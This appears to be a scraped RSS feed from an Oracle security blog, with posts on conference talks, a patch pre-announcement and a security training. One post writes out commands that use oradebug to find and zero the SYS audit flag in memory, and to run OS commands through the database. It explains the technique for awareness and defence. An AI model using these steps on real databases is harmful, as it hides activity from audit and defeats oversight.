Alexander Kornbrust Oracle Security Blog http://blog.red-database-security.com Oracle Security Fri, 09 Mar 2012 09:01:44 +0000 http://wordpress.org/?v=2.2.1 en 2 Cebit 2012 Presentations about Database Security http://blog.red-database-security.com/2012/03/09/2-cebit-2012-presentations-about-database-security/ http://blog.red-database-security.com/2012/03/09/2-cebit-2012-presentations-about-database-security/#comments Fri, 09 Mar 2012 09:01:13 +0000 Alexander Kornbrust http://blog.red-database-security.com/2012/03/09/2-cebit-2012-presentations-about-database-security/ I just uploaded 2 presentations I gave at the Cebit 2012.

]]> http://blog.red-database-security.com/2012/03/09/2-cebit-2012-presentations-about-database-security/feed/ DOAG 2011 Presentation “Best of Oracle Security 2011″ http://blog.red-database-security.com/2011/11/18/doag-2011-presentation-best-of-oracle-security-2011/ http://blog.red-database-security.com/2011/11/18/doag-2011-presentation-best-of-oracle-security-2011/#comments Fri, 18 Nov 2011 16:11:49 +0000 Alexander Kornbrust http://blog.red-database-security.com/2011/11/18/doag-2011-presentation-best-of-oracle-security-2011/ I just uploaded my DOAG 2011 presentation ”Best of Oracle Security 2011“.

]]> http://blog.red-database-security.com/2011/11/18/doag-2011-presentation-best-of-oracle-security-2011/feed/ Oracle Critical Patch Update Pre-Release Announcement - October 2011 http://blog.red-database-security.com/2011/10/15/oracle-critical-patch-update-pre-release-announcement-october-2011/ http://blog.red-database-security.com/2011/10/15/oracle-critical-patch-update-pre-release-announcement-october-2011/#comments Sat, 15 Oct 2011 08:20:10 +0000 Alexander Kornbrust http://blog.red-database-security.com/2011/10/15/oracle-critical-patch-update-pre-release-announcement-october-2011/ Oracle released the Pre-Release Announcement for the Oracle CPU October 2011. The upcoming CPU will fix 4 issues in the Oracle database:

  • Application Express
  • Core RDBMS
  • Database Vault
  • Oracle Text

 The highest CVSS value is 6.5 (normally a SQL Injection vulnerability). None of the issues is remote exploitable.

]]> http://blog.red-database-security.com/2011/10/15/oracle-critical-patch-update-pre-release-announcement-october-2011/feed/ Disable Auditing and running OS commands using oradebug http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug/ http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug/#comments Sat, 17 Sep 2011 17:29:29 +0000 Alexander Kornbrust http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug/ Currently I am staying at the Hacktivity 2011 conference in Budapest. I talked about Oracle Forensics (pdf of the presentation).The second talk was given by Laszlo Toth.  He showed at lot of interesting things, e.g. how to disable Oracle Audit and SYS Auditing using oradebug. His presentation will be available soon on his sooner or later webpage soonerorlater.hu.

oradebug is an undocumented (from Oracle) feature in all versions of Oracle which allows powerful activities if you have SYSDBA privileges (and getting SYSDBA privileges is easy as DBA). The peek/poke statement allows to read/modify the memory of the database:

Sample - disable Oracle SYS Auditing:


sqlplus / as sysdba

SQL> — get the offset for oradebug

SQL> select fsv.KSMFSNAM,sga.*
from x$ksmfsv fsv, x$ksmmem sga
where sga.addr=fsv.KSMFSADR
and fsv.ksmfsnam like ‘kzaflg_%’;

KSMFSNAM ADDR INDX INST_ID KSMMMVAL
—————- ———- ———- —————-
kzaflg_ 0000000060031BB0 26652 1 0000000000000001

SQL> show parameter audit;

NAME TYPE VALUE
———————————— ———– ——————————
audit_file_dest string /u01/app/oracle/admin/PSALES/adump
audit_sys_operations boolean TRUE
audit_syslog_level string
audit_trail string DB, EXTENDED

SQL> oradebug poke 0×60031bb0 1 0
BEFORE: [060031BB0, 060031BB4) = 00000001
AFTER: [060031BB0, 060031BB4) = 00000000

oradebug can also be used to disable standard auditing. oradebug makes Oracle products like Oracle Auditvault nearly useless because Oracle Auditvault relies on Oracle native auditing. A (SYS)DBA can switch off auditing for a few seconds, do activities without being audited and switch auditing on again. .

Another trick from Laszlo’s presentation was how to use oradebug to call OS commands via the database

SQL> oradebug call system “ls -la >/tmp/hacktivity.txt”

Later I will talk about Laszlo’s trick how to disable the Oracle authentication using oradebug.

]]> http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug/feed/ Blackhat Training “HACKING AND SECURING ORACLE (2 days) “ http://blog.red-database-security.com/2011/04/13/blackhat-training-hacking-and-securing-oracle-2-days/ http://blog.red-database-security.com/2011/04/13/blackhat-training-hacking-and-securing-oracle-2-days/#comments Wed, 13 Apr 2011 09:05:18 +0000 Alexander Kornbrust http://blog.red-database-security.com/2011/04/13/blackhat-training-hacking-and-securing-oracle-2-days/

]]> http://blog.red-database-security.com/2011/04/13/blackhat-training-hacking-and-securing-oracle-2-days/feed/